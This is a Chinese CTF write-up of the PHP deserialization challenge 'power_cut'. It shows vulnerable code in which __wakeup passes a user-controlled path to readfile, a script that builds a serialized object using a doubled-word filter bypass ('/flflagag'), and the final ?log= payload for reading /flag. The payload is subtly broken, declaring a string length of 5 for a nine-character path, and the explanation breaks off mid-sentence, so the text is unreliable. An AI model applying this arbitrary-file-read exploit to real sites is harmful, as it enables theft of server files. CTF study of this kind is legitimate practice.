最近在学习反序列化,然后最近也有一个"津门杯"的CTF比赛,我没有参加,看了前三名的战绩,真的是......MD太强了,然后看到其他大佬公布的writeup,发现有一道很简(kun)单(nan)的反序列化题目!!!就说web的"power_cut" 不说解题过程,直接就上代码
代码语言:javascript复制<?php
class logger{
public $logFile;
public $initMsg;
public $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#n";
$this->exitMsg="#--session end--#n";
//通过构造函数__construct($file)传入文件,并且赋给$this->logfile,然后readfile读取传入的文件
//此处有任意文件读取的嫌疑
$this->logFile = $file;
readfile($this->logFile);
}
function log($msg){
$fd=fopen($this->logFile,"a ");
fwrite($fd,$msg."n");
fclose($fd);
}
function __destruct(){
echo "this is destruct";
}
}
class weblog {
// 定义一个weblogfile的变量
public $weblogfile;
function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}
// 当外面使用了反序列化unserailze时,会优先调用__Wakeup
function __wakeup(){
// self::waf($this->filepath);
//此处是将实例化logger的类,其中logger类中有三个公开的函数,这里传入了一个weblogfile则意味着给logger中的public $logfile赋值了
//如果weblogfile是1,则public $logfile就等于1,以此类推
$obj = new logger($this->weblogfile);
}
public function waf($str){
$str=preg_replace("/[<>*#'|?n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function __destruct(){
echo "this is destruct";
}
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?n ]/","",$log);
//没有多次匹配指定的字符串,双写直接绕过
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
<html>
<head></head>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>
观察以上代码之后,发现了logger类中使用readfile,这里可以读取文件 直接构造
代码语言:javascript复制<?php
class weblog {
public $weblogfile;
function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}
function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}
public function waf($str){
$str=preg_replace("/[<>*#'|?n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function __destruct(){
echo "this is destruct";
}}
$a=new weblog("/flflagag");
$a->weblogfile='/flflagag';
print(serialize($a));
解析:实例化weblog的类,并且赋值给a然后给a->weblogfile赋值为/flflagag,此处为双写,主要是为了绕过str=str_replace('flag',',$str);
最后序列化出来 :O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}
将这个通过log传入进去,url/?log=O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}
将会执行反序列化,反序列化的话,将会检查类中有没有__wakeup的魔术方法,有的话,将会先执行__wakeup的内容,也就是$obj = new logger($this->weblogfile);'这个代码的意思就是实例化logger类,然后传入
传入之后,logger的$logfile就等于/flflagag,然后继续执行构造函数__construct($file),,其中的file就是等于
好吧,这次总结地还是有一点点瑕疵,看了别人地writeup才审计出来的,害~这就是菜吧
注意:部分图片源自于网络,如有侵权,请联系删除!!!谢谢